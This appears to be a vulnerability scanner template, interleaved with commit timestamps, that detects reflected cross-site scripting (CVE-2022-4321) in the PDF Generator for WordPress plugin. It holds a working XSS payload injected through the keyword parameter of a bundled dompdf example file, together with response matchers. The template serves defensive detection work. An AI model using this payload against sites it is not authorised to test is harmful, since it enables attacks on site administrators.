2023-04-21 08:56:01 +00:00
id : CVE-2022-4321
info :
name : PDF Generator for WordPress < 1.1.2 - Cross Site Scripting
author : r3Y3r53
severity : medium
description : |
The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
remediation : Fixed in version 1.1.2
reference :
- https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644
- https://nvd.nist.gov/vuln/detail/CVE-2022-4321
- https://wordpress.org/plugins/pdf-generator-for-wp/
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-04-21 08:56:01 +00:00
verified : "true"
tags : cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- method : GET
path :
2023-04-21 09:05:21 +00:00
- '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>'
2023-04-21 08:56:01 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- '><script>alert(document.domain)</script>'
- 'pdf-generator-for-wp'
condition : and
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200